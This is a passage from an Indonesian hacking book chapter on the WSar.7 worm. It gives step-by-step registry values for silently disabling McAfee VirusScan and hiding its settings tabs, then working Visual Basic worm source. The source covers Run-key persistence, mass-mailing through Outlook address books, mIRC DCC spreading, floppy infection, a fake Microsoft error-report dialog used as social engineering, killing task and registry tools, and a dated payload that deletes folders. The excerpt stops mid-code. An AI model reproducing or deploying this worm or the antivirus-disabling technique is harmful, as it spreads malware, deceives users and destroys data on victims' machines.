Agent\Update\Download\McUpdMgrLog Agent\Update\ResultLog RegWiz RegWiz\Installer SharedModules SharedModules\c:%progra~1%mcafee.com%shared%dunzip32.dll SharedModules\c:%progra~1%mcafee.com%shared%mcappins.exe SharedModules\c:%progra~1%mcafee.com%shared%mcappins.inf SharedModules\c:%progra~1%mcafee.com%shared%mghtml.exe SharedModules\c:%progra~1%mcafee.com%shared%mghtml.inf Virusscan Online Virusscan Online\AVERT Virusscan Online\Customize Virusscan Online\Customize\ActiveShield Virusscan Online\Customize\Alerts Virusscan Online\Customize\Alerts\WormStopper Virusscan Online\Customize\Menu Virusscan Online\Customize\Menu\1029 Virusscan Online\Customize\Menu\1030 Virusscan Online\Customize\Menu\1031 Virusscan Online\Customize\Menu\1033 Virusscan Online\Customize\Menu\1279 Virusscan Online\Customize\Menu\2057 Virusscan Online\Customize\Menu\257 Virusscan Online\Customize\Menu\258 Virusscan Online\Customize\Menu\260 Virusscan Online\Customize\Menu\264 Virusscan Online\Customize\Menu\266 Virusscan Online\Customize\Menu\515 Virusscan Online\Customize\ods Virusscan Online\Customize\Options Virusscan Online\Customize\Options\AdvAShield Virusscan Online\Customize\Options\AdvEmailScan Virusscan Online\Customize\Options\AdvFTScan Virusscan Online\Customize\Options\AdvScriptStopper Virusscan Online\Customize\Options\AdvWormStopper Virusscan Online\Customize\Options\AShield Virusscan Online\Customize\Options\Schedular Virusscan Online\Customize\Options\VMap Virusscan Online\Customize\ShortCuts Virusscan Online\Customize\ShortCuts\aruninstall Virusscan Online\Customize\ShortCuts\dsscannow Virusscan Online\Customize\ShortCuts\psashield Virusscan Online\Customize\ShortCuts\psedisk Virusscan Online\Customize\ShortCuts\psquarantine Virusscan Online\Customize\ShortCuts\psscannow Virusscan Online\Customize\ShortCuts\psuninstall Virusscan Online\Customize\ShortCuts\psvso Virusscan Online\Customize\Uninstall Virusscan Online\Customize\VirusInfo Virusscan Online\Installer Virusscan Online\Links Virusscan Online\property Virusscan Online\property\notify Virusscan Online\RescueDisk

181

Jasakom

Bab 13. Worm WSar.7

Computer Worm 1 - Secret of Underground Coding : Uncensored

Kemudian menyimpan hasil ekspor registry tersebut dengan nama ENABLE. REG 2. Langkah berikutnya adalah membuka panel konfigurasi, dengan mengklik kanan icon McAfee VirusScan pada system tray, menyorot VirusScan dan memilih Options

3. Akan tampil kotak dialog konfigurasi Options, terdiri dari tiga tab, termasuk tab ActiveShield yang menjadi tab utama dimana tab ini memiliki beberapa opsi yang semuanya dalam keadaan terseleksi, yaitu: a. Start ActiveShield when Windows starts: jika opsi ini terseleksi berarti ActiveShield akan aktif saat Windows startup, dimana ActiveShield bekerja secara background yang akan melindungi system dari malcode (program perusak/jahat) saat run-time. b. Scan e-mail and attachments: jika opsi ini terseleksi maka Ac-

Bab 13. Worm WSar.7

Jasakom

182

Computer Worm 1 - Secret of Undeground Coding : Uncensored

tiveShield akan memeriksa e-mail dan attachment yang masuk (POP3), dan yang keluar (SMTP) untuk beberapa aplikasi e-mail yang terbilang populer, seperti Outlook Express, MS Outlook, Netscape Messenger, Netscape Mail, Eudora Light, Eudora Pro, Pegasus dan lain sebagainya. c. Scan inbound instant message attachments: jika opsi ini terseleksi maka ActiveShield akan melakukan pemeriksaan saat suatu e-mail ber-attachment secara instant dibuka oleh suatu aplikasi seperti MSN Messenger, Yahoo Messenger dan AOL Instant Messenger. Bersihkan seleksi dengan menghilangkan tanda check pada CheckBox untuk opsi Start ActiveShield when Windows starts, dan opsi Scan inbound instant message attachments. 4. Klik tombol Advanced pada tab ActiveShield untuk pengaturan konfigurasi yang lebih mendetail, dan sebuah kotak dialog baru terbuka dengan langsung menuju pada tab ActiveShield, kemudian bersihkan seleksi untuk setiap opsi yang ada. a. Scan for new unknown viruses: jika opsi ini terpilih maka ActiveShield menggunakan teknik heuristic, dimana antivirus mendeteksi worm atau virus baru dengan mencocokan suatu pola yang biasanya digunakan worm atau virus. b. Pada frame File Types to Scan, jika opsi All files terseleksi maka ActiveShield akan memeriksa seluruh jenis file, tetapi jika opsi yang aktif adalah Program files and documents only maka ActiveShield hanya akan memeriksa file program dan file dokumen saja. Bab 13. Worm WSar.7

183

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

5. Klik tab E-mail Scan. Tab ini memberikan opsi yang berkaitan dengan proses pengiriman dan penerimaan e-mail. Bersihkan seleksi untuk setiap opsi yang ada. a. Inbound e-mail messages. Jika opsi ini terseleksi maka ActiveShield akan melakukan pemeriksaan apabila suatu e-mail diterima. Opsi ini memiliki sub lainnya yaitu; Automatically clean infected attachments yang berarti secara otomatis membersihkan attachment yang terinfeksi, dan Prompt me when attachment needs to be cleaned yang memiliki arti agar mengkonfirmasikan terlebih dahulu dengan pengguna apabila suatu attachment perlu untuk dibersihkan dari suatu malcode. b. Outbound e-mail messages, jika opsi ini terseleksi maka ActiveShield akan melakukan pemeriksaan untuk setiap e-mail yang akan dikirimkan. 6. Klik tab ScriptStopper. Tab ini digunakan untuk mengaktifkan atau menonaktifkan fasilitas ScriptStopper, yang berguna untuk menampilkan konfirmasi pengeksekusian untuk setiap script atau program yang memanfaatkan penggunaan script. Kemudian bersihkan seleksi untuk setiap opsi yang ada.

Bab 13. Worm WSar.7


Jasakom

184

Computer Worm 1 - Secret of Undeground Coding : Uncensored

7. Klik tab WormStopper. Tab ini digunakan untuk mengaktifkan atau menonaktifkan fasilitas WormStopper, yang berguna untuk menampilkan pesan peringatan jika menemukan suatu program yang memiliki pola persis dengan suatu worm, yang cenderung mengirimkan e-mail secara masal. Bersihkan seleksi untuk setiap opsi yang ada.

9. Kembali pada aplikasi Registry Editor, kemudian ekspor dan simpan kembali nilai registry yang dimiliki aplikasi antivirus tersebut, dengan memberi nama file yang berbeda, misalnya DISABLE.REG. 10. Kemudian buka file ENABLE.REG dan DISABLE.REG dengan menggunakan aplikasi text editor, lalu bandingkan dan kumpulkan nilai registry yang berubah. Penulis menyarankan agar Anda menggunakan aplikasi yang memiliki fasilitas compare seperti UltraEdit. Dari perbandingan dua file tersebut, didapatkan beberapa perubahan nilai registry sebagai berikut:

185

Jasakom

Bab 13. Worm WSar.7

8. Kini setiap opsi yang ada pada kotak dialog Advanced ActiveShield Options tidak terseleksi, klik OK untuk mengakhiri dan langsung menuju kotak dialog Options. Bersihkan seleksi pada opsi Scan e-mail and attachments, dan akhiri kotak dialog Options dengan mengklik OK.

Computer Worm 1 - Secret of Underground Coding : Uncensored

Key Value Type Data ENABLE.REG


04 00 00 00 03 00 00 00 E0 C4 A8 8F 88 D6 72 FB DA 76 62 82 1D 5E B0 A3 05 04 04 04

HKLM\SOFTWARE\McAfee.com\ Virusscan Online\property ActiveShield:ScanHeuristic REG_BINARY

Data DISABLE.REG
04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04

Key Value Type Data ENABLE.REG


04 00 E2 64 00 41 A5 5C 00 90 A3 E9 00 0D EA 02 03 8F AE 04 00 5E 08 04 00 E2 2F 04

HKLM\SOFTWARE\McAfee.com\Viruss can Online\property EmailScan:Enable REG_BINARY

Data DISABLE.REG
04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04

Key Bab 13. Worm WSar.7 Value Type 04 E0 DA 05

HKLM\SOFTWARE\McAfee. com\Virusscan Online\property WS:Enable REG_BINARY

Data ENABLE.REG Data DISABLE.REG 00 00 00 03 00 00 00 04 00 00 00 03 00 00 00 C4 A8 8F 88 D6 72 FB BC 2A 89 9A DF 50 32 ED 76 62 82 1D 5E B0 A3 55 26 3F 04 E7 E3 39 27 04 04 04 04 04 04 04 Key Value


HKLM\SOFTWARE\McAfee.com\ Virusscan Online\property ScriptStopper:Enable

Jasakom

186

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Type 04 E0 DA 05

REG_BINARY

Data ENABLE.REG Data DISABLE.REG 00 00 00 03 00 00 00 04 00 00 00 03 00 00 00 C4 A8 8F 88 D6 72 FB BC 2A 89 9A DF 50 32 ED 76 62 82 1D 5E B0 A3 55 26 3F 04 E7 E3 39 27 04 04 04 04 04 04 04 Key Value Type


HKLM\SOFTWARE\McAfee.com\ Virusscan Online\property ActiveShield:LoadAtStartup REG_BINARY

04 E0 DA 05

Data ENABLE.REG Data DISABLE.REG 00 00 00 03 00 00 00 04 00 00 00 03 00 00 00 C4 A8 8F 88 D6 72 FB BC 2A 89 9A DF 50 32 ED 76 62 82 1D 5E B0 A3 55 26 3F 04 E7 E3 39 27 04 04 04 04 04 04 04 Key Value Type


HKLM\SOFTWARE\McAfee.com\ Virusscan Online\property FT:Enable REG_BINARY

04 E0 DA 05

Data ENABLE.REG Data DISABLE.REG 00 00 00 03 00 00 00 04 00 00 00 03 00 00 00 C4 A8 8F 88 D6 72 FB BC 2A 89 9A DF 50 32 ED 76 62 82 1D 5E B0 A3 55 26 3F 04 E7 E3 39 27 04 04 04 04 04 04 04

11. Dari perubahan-perubahan tersebut dapat disimpulkan bahwa data binary yang digunakan untuk menonaktifkan fasilitas-fasilitas tersebut adalah: 04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04. Sehingga untuk menonaktifkannya cukup memanipulasi registry dengan menggunakan data-data tersebut.

187

Jasakom

Bab 13. Worm WSar.7

Computer Worm 1 - Secret of Underground Coding : Uncensored

12. Seorang worm writer tentunya akan berfikir agar segala manipulasi yang dilakukannya tidak diketahui oleh user, atau sedikitnya akan menyulitkan advanced user untuk mengembalikan manipulasi tersebut, demikian pula dengan manipulasi konfigurasi antivirus ini, setiap user dengan mudah mengaktifkan segala fasilitas pada antivirus hanya dengan membuka kotak dialog Options dan Advanced Option untuk kemudian memberi seleksi untuk setiap opsi. Berikut ini adalah beberapa manipulasi registry yang penulis temukan untuk menyembunyikan tab pada kotak dialog Options dan Advanced Options, sehingga akan sangat membingungkan bahkan untuk seorang advanced user sekalipun, dalam menemukan opsi-opsi tersebut.

Dialog Box Tab Key Value Type Data

Advanced ActiveShield Options ActiveShield HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\ Virusscan Online\Customi ze\Options\AdvAShield State REG_BINARY 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07

Bab 13. Worm WSar.7

Dialog Box Advanced ActiveShield Options Tab Key Value Type Data
E-mail Scan HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customi ze\Options\AdvEmailScan State REG_BINARY 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07

Jasakom

188

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Dialog Box Tab Key Value Type Data

Advanced ActiveShield Options ScriptStopper HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\ Virusscan Online\Customize\Options\AdvScriptStopper State REG_BINARY 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07

Dialog Box Tab Key Value Type Data

Advanced ActiveShield Options WormStopper HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customi ze\Options\AdvWormStopper State REG_BINARY 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07

Tab Key Value Type Data

ActiveShield HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\ Virusscan Online\Customi ze\Options\AShield State REG_BINARY 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07

189

Jasakom

Bab 13. Worm WSar.7

Dialog Box

Options

Computer Worm 1 - Secret of Underground Coding : Uncensored

Dialog Box Tab Key Value Type Data

Options Virus MAP Reporting HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\ Virusscan Online\Customi ze\Options\VMap State REG_BINARY 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07

Dialog Box Tab Key Value Type Data

Options Scheduled Scan HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\ Virusscan Online\Customi ze\Options\Schedular State REG_BINARY 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07

Catatan: Bug ini telah penulis posting ke lab McAfee (NAI), dan untuk menghindari trik seperti ini Anda cukup menghapus semua nilai registry pada key: HKEY_LOCAL_MACHINE\SOFTWARE\McA fee. com karena aplikasi McAfee VirusScan akan segera menggunakan konfigurasi default, hal ini juga membuktikan bahwa aplikasi McAfee VirusScan sebenarnya sudah mempersiapkan diri jika sewaktuwaktu suatu worm atau virus akan menghapus konfigurasi pada nilai registry, yang akan mengakibatkan aplikasi McAfee VirusScan tidak dapat berjalan dengan normal.

Bab 13. Worm WSar.7

Jasakom

190

Computer Worm 1 - Secret of Undeground Coding : Uncensored

13.2 ALGORITMA
WSar.7 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Worm menyembunyikan aplikasi file worm dari task list 3. Membuka aplikasi Notepad saat user mengeksekusinya 4. Memeriksa keberadaan McAfee VirusScan, dan memanipulasi registry jika menemukannya 5. Menginfeksi system dengan membuat salinan worm pada folder Windows dan System Windows 6. Memanfaatkan aplikasi mIrc dengan berusaha mengirimkan salinan worm dengan nama wintweak.exe 7. Pada saat tertentu menampilkan fake form sebagai suatu usaha rekayasa sosial agar user mengijinkan worm mengirimkan e-mail 8. Pada saat tertentu berusaha menginfeksi disket dan mengakses printer dengan mencetak suatu pesan 9. Pada tanggal 13 Oktober, worm akan menghapus folder dan sub folder Temp, kemudian menampilkan pesan "WSar.7 Ada Pada Komputer Anda".

13.3 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, dan Application Title menjadi 'WSar.7 Tambahkan 1 buah object Shape, 1 buah object Line, 6 buah object Label, 2 buah object CommandButton, 1 buah object TextBox, 3 buah object Timer dan 3 buah Module, kemudian atur properti untuk masingmasing object tersebut sebagai berikut:

191

Jasakom

Bab 13. Worm WSar.7

Computer Worm 1 - Secret of Underground Coding : Uncensored

Properti object Form1 Jenis


Name BackColor Caption

Nilai
frmWSar7 &H80000016& MICROSOFT WINDOWS TEAM False 3855 (Icon)

Keterangan
Mengatur nama form menjadi frmWSar7 Warna latar belakang diatur pada mode Light Shadow Caption ini berkaitan dengan rekayasa sosial yang akan digunakan. Tidak menampilkan ControlBox pada form Mengatur tinggi form Pilih icon yang akan digunakan pada form, WSar.7 menggunakan icon text. ico Tidak menampilkan tombol maximize Tidak menampilkan tombol minimize Tidak tampil pada taskbar Mengatur form agar berada ditengah layar Tidak menampilkan form Mengatur lebar form

ControlBox Height Icon

MaxButton MinButton ShowInTaskbar StartUp Position Visible Width

False False False 2 Center Screen False 6285

Bab 13. Worm WSar.7

Properti object Shape1 Jenis


BorderStyle FillColor FillStyle Height Left Shape Top Width

Nilai
Transparent 0 - Solid 850 0 0 Rectangle 0 6175

Keterangan
Tidak menampilkan garis tepi Metode pengisian warna menjadi solid Tinggi Shape Posisi dari kiri Jenis Shape Posisi dari atas Lebar Shape

&H00FFFFFF& Warna isi menjadi putih

Jasakom

192

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Properti object Line1 Jenis


X1 X2 Y1 Y2 0 6200 810 810

Nilai
Abu-abu gelap

Keterangan
Posisi garis pada koordinat X untuk point 1 Posisi garis pada koordinat X untuk point 2 Posisi garis pada koordinat Y untuk point 1 Posisi garis pada koordinat Y untuk point 2

BorderColor &H00808080&

Properti object Label1 Jenis


Back Style Caption

Nilai
0 - Transparent SYSTEM WINDOWS has encountered a problem and needs to report. We are sorry for the inconvenience. Font: MS San Serif Font Style: Bold Size: 8 495 360 210 5415

Keterangan
Mengatur latar belakang agar menjadi transparan Mengatur teks pada Caption

Font

Mengatur huruf yang digunakan Tinggi Label Posisi dari kiri Posisi dari atas Lebar Label

Height Left Top Width

Properti object Label2 Jenis


Back Style Caption

Nilai
0 - Transparent If you were in the middle of something, the information you were working on might be lost. 495 360 1020 5535

Keterangan
Mengatur latar belakang agar menjadi transparan Mengatur teks pada Caption Tinggi Label Posisi dari kiri Posisi dari atas Lebar Label

Height Left Top Width

193

Jasakom

Bab 13. Worm WSar.7

Computer Worm 1 - Secret of Underground Coding : Uncensored

Properti object Label3 Jenis


Back Style Caption Font

Nilai
0 - Transparent Please tell Microsoft about this problem. Font: MS San Serif Font Style: Bold Size: 8 255 360 1640 5175

Keterangan
Mengatur latar belakang agar menjadi transparan Mengatur teks pada Caption Mengatur huruf yang digunakan Tinggi Label Posisi dari kiri Posisi dari atas Lebar Label

Height Left Top Width

Properti object Label4 Jenis


Back Style Caption

Nilai
0 - Transparent We have created an error report that you can send to us. We will treat this report as confidential and anonymous. 495 360 1875 5175

Keterangan
Mengatur latar belakang agar menjadi transparan Mengatur teks pada Caption

Height Left Top Width

Tinggi Label Posisi dari kiri Posisi dari atas Lebar Label

Bab 13. Worm WSar.7

Properti object Label5 Jenis


Back Style Caption Height

Nilai
0 - Transparent To see what data this error report contains, 255

Keterangan
Mengatur latar belakang agar menjadi transparan Mengatur teks pada Caption Tinggi Label

Jasakom

194

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Left Top Width

360 2600 3135

Posisi dari kiri Posisi dari atas Lebar Label

Properti object Label6 Jenis


Back Style Caption ForeColor Height Left Top Width

Nilai
0 - Transparent To see what data this error report contains, &H00FF0000& 255 3480 2600 855

Keterangan
Mengatur latar belakang agar menjadi transparan Mengatur teks pada Caption Mengatur warna huruf menjadi biru Tinggi Label Posisi dari kiri Posisi dari atas Lebar Label

Properti object Command1 Jenis


(Name) Caption Height Left Top Width

Nilai
CmdSend Send Error Report 325 3160 2950 1575

Keterangan
Mengatur nama CommandButton menjadi CmdSend Mengatur teks pada Caption Tinggi object Posisi dari kiri Posisi dari atas Lebar object

195

Jasakom

Bab 13. Worm WSar.7

Computer Worm 1 - Secret of Underground Coding : Uncensored

Properti object Command2 Jenis


(Name) Caption Height Left Top Width

Nilai
cmdDontSend Dont Send 325 4890 2950 1100

Keterangan
Mengatur nama CommandButton menjadi cmdDontSend Mengatur teks pada Caption Tinggi object Posisi dari kiri Posisi dari atas Lebar object

Properti object Timer1 Jenis


Name Enable Interval True 1000

Nilai
tmrSpreading

Keterangan
Mengatur nama Timer menjadi tmrSpreading Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik

Properti object Timer2 Jenis


Name

Nilai
tmrIseng True 1000

Keterangan
Mengatur nama Timer menjadi tmrIseng Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik

Bab 13. Worm WSar.7

Enable Interval

Properti object Timer3 Jenis


Name Enable Interval True 50

Nilai
tmrWinForce

Keterangan
Mengatur nama Timer menjadi tmrWinForce Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.05 detik

Jasakom

196

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Properti object Text1 Jenis


Name Visible

Nilai
txtPath False

Keterangan
Mengatur nama TextBox menjadi txtPath TextBox tidak akan diperlihatkan, object ini ditambahkan dengan tujuan untuk mendukung suatu procedure pada Form

Tampilan form WSar.7

Properti Module1 Jenis


Name

Nilai
mdlDeltree

Keterangan Bab 13. Worm WSar.7


Mengatur nama module menjadi mdlDeltree

Properti Module2 Jenis


Name

Nilai
mdlRegistryAPI

Keterangan
Mengatur nama module menjadi mdlRegistryAPI

Properti Module3 Jenis


Name

Nilai
mdlWinForce

Keterangan
Mengatur nama module menjadi mdlWinForce

197

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Ketik kode program berikut ini pada module mdlDeltree:


Function Deltree(ByVal dirpath As String) As Long On Error GoTo nogo Dim filetemp As String Dim etrap As Long If Right(dirpath, 1) <> "\" Then dirpath = dirpath & "\" filetemp = Dir(dirpath, vbDirectory) Do While Trim(filetemp) <> "" If Trim(filetemp) <> "." And Trim(filetemp) <> ".." Then If (GetAttr(dirpath + filetemp) And vbDirectory) = _ vbDirectory Then etrap = Deltree(dirpath + filetemp) filetemp = Dir(dirpath, vbDirectory) Else filetemp = Dir(, vbDirectory) End If Else filetemp = Dir(, vbDirectory) End If Loop filetemp = Dir(dirpath + "*.*") Do While Trim(filetemp) <> "" SetAttr (dirpath + filetemp), vbNormal Kill(dirpath + filetemp) filetemp = Dir Loop filetemp = Dir(dirpath + "*.*", vbHidden) Do While Trim(filetemp) <> "" SetAttr (dirpath + filetemp), vbNormal Kill(dirpath + filetemp) filetemp = Dir Loop If Right(dirpath, 1) = "\" Then dirpath = Mid(dirpath, 1, Len _ (dirpath) - 1) SetAttr(dirpath, vbNormal) RmDir(dirpath) Deltree = 0 Exit Function nogo: Deltree = Err.Number End Function

Bab 13. Worm WSar.7

Ketik kode program berikut ini pada object frmWSar7:


'WSar.7 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On

Jasakom

198

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Private Declare Function ExitWindowsEx& Lib "user32" (ByVal _ uFlags&, ByVal dwReserved&) Private Declare Function InternetGetConnectedState Lib _ "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As _ Long) As Long Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255 Private Sub Form_Load() On Error Resume Next Dim mcAfeeExist As String If App.PrevInstance = True Then End If LCase(App.Path) <> LCase(SpecialFolder(1)) Then Shell (SpecialFolder(0) & "\notepad.exe"), vbNormalFocus End If mcAfeeExist = GetStringValue("HKEY_LOCAL_MACHINE\S" & _ "OFTWARE\McAfee.com\Virusscan Online\property", "Scri" & _ "ptStopper:Enable") If mcAfeeExist <> "" Then Call McAfee_MyFriend() End If Call InfectSystem() Call mIrc() End Sub Private Sub cmdSend_Click() On Error Resume Next Me.Hide() MsgBox("System will scan your outlook files including your add" & _ "ress book for some reason, you may see the Outlook confirm" & _ "ation dialog, please allow access and click yes in confirmatio" & _ "n box. Thanks for your contribution - Microsoft Windows Te" & _ "am.", vbOKOnly + vbInformation, "MICROSOFT WINDO" & _ "WS TEAM - PLEASE READ THIS") Call InfectMail() End Sub Private Sub InfectSystem() On Error Resume Next FileCopy(WormFile, SpecialFolder(0) & "\wintweak.exe") FileCopy(WormFile, SpecialFolder(1) & "\kerne132.exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "winsys", SpecialFolder(1) & _ "\kerne132.exe") SetStringValue("HKEY_CLASSES_ROOT\exefile", _ "NeverShowExt", "") End Sub

199

Jasakom

Bab 13. Worm WSar.7

Computer Worm 1 - Secret of Underground Coding : Uncensored

Private Sub tmrSpreading_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End If If InternetGetConnectedState(0&, 0&) = 0 Then GoTo stopit If (Minute(Now) = 1 Or Minute(Now) = 31) And Second(Now) = _ 13 Then Me.Show() End If stopit: End Sub Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "readme.txt" NamaCantik(1) = "hello.txt" NamaCantik(2) = "readfirst.txt" NamaCantik(3) = "important.txt" NamaCantik(4) = "mystery.txt" NamaCantik(5) = "secret.txt" NamaCantik(6) = "crucial.txt" NamaCantik(7) = "sacred.txt" NamaCantik(8) = "joke.txt" NamaCantik(9) = "funny.txt" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*txt .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak) & " .exe") End If End Sub Private Sub InfectMail() On Error Resume Next Dim CountLoop, searchlist, searchemails As Integer Dim kiddie As Object Dim winfolder As Object Dim a, b, c kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) a = CreateObject("Outlook.Application") If Not a = "" Then b = a.GetNameSpace("MAPI") For searchlist = 1 To b.AddressLists.Count CountLoop = 1 c = a.CreateItem(0) For searchemails = 1 To b.AddressLists(searchlist). _ AddressEntries.Count c.Recipients.Add(b.AddressLists(searchlist).AddressEntries _ (CountLoop)) CountLoop = CountLoop + 1 Next

Bab 13. Worm WSar.7

Jasakom

200

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Next End If End Sub

c.Subject = "WinTweak " & Year(Now) + 1 c.Body = "Heres a file that will tweak your windows " & _ "more faster..." c.Attachments.Add(winfolder & "\" & "wintweak.exe") c.DeleteAfterSubmit = True c.Send()

Private Sub McAfee_MyFriend() On Error Resume Next SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:ScanHeu" & _ "ristic", "0400000003000000bc2a899adf5032ed55263f04e7e3" & _ "392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "EmailScan:Enable", _ "0400000003000000bc2a899adf5032ed55263f04e7e3392704" & _ "040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "WS:Enable", "040000" & _ "0003000000bc2a899adf5032ed55263f04e7e3392704040404")

201

Jasakom

Bab 13. Worm WSar.7

Private Sub mIrc() On Error GoTo stopit Dim mIrcPath As String txtPath.Text = GetStringValue("HKEY_LOCAL_MACHINE\S" & _ "OFTWARE\Classes\irc\DefaultIcon", "") mIrcPath = Mid(txtPath.Text, 2, (Len(txtPath.Text) - 11)) If Dir(mIrcPath, vbDirectory) <> "" Then FileCopy(WormFile, mIrcPath & "\wintweak.exe") Open mIrcPath & "\script.ini" For Output As 1 Print #1, "[script]" Print #1, "n0= on 1:TEXT:*hello*:#:{" Print #1, "n1= /if ( $nick == $me ) { halt }" Print #1, "n2= /msg $nick Hello.. heres a file that will tweak you" & _ "r windows more faster..." Print #1, "n3= /dcc send -c $nick " & mIrcPath & "\wintweak.exe" Print #1, "n4= }" Print #1, "n5= on 1:JOIN:#:{" Print #1, "n6= /if ( $nick == $me ) { halt }" Print #1, "n7= /msg $nick Hello.. heres a file that will increase y" & _ "our computer memory up to 64 MB..." Print #1, "n8= /dcc send -c $nick " & mIrcPath & "\wintweak.exe" Print #1, "n9= }" Print #1, "n10= on 1:PART:#:{" Print #1, "n11= /if ( $nick == $me ) { halt }" Print #1, "n12= /msg $nick Hello.. heres a file that will increase" & _ "your VGA Card memory..." Print #1, "n13= /dcc send -c $nick " & mIrcPath & "\wintweak.exe" Print #1, "n14= }" Close(1) End If stopit: End Sub

Computer Worm 1 - Secret of Underground Coding : Uncensored

SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ScriptStopper:Enable", _ "0400000003000000bc2a899adf5032ed55263f04e7e3392704" & _ "040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:ScanAll" & _ "Files", "0400000003000000bc2a899adf5032ed55263f04e7e3" & _ "392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:LoadAtS" & _ "tartup", "0400000003000000bc2a899adf5032ed55263f04e7e" & _ "3392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\Customize\Options\AShield", "State", _ "4d4352470100000004000000040000003827d569621fecd14" & _ "3ed118d7a2ea0bea2231907") End Sub Private Sub tmrIseng_Timer() If Minute(Now) = 30 And Second(Now) = 1 Then Printer.CurrentX = 1000 Printer.CurrentY = 1000 Printer.FontBold = True Printer.FontUnderline = True Printer.FontItalic = False Printer.FontSize = 30 Printer.Print("WSAR.7 WAS HERE") Printer.CurrentX = 1000 Printer.FontUnderline = False Printer.FontItalic = True Printer.FontSize = 18 Printer.Print("BRING THE TRUTH TO YOUR HOME") Printer.EndDoc() End If If Day(Now) = 13 And Month(Now) = 10 Then Call Payload() End Sub Private Sub Form_Terminate() Shell(App.EXEName & ".exe") ExitWindowsEx(2, 0&) End Sub Private Sub tmrWinForce_Timer() WinQuit("task") WinQuit("find") WinQuit("search") WinQuit("run") WinQuit("reg") WinQuit("config") End Sub Private Sub Payload() Dim kiddie As Object Dim tmpfolder As Object kiddie = CreateObject _

Bab 13. Worm WSar.7

Jasakom

202

Computer Worm 1 - Secret of Undeground Coding : Uncensored

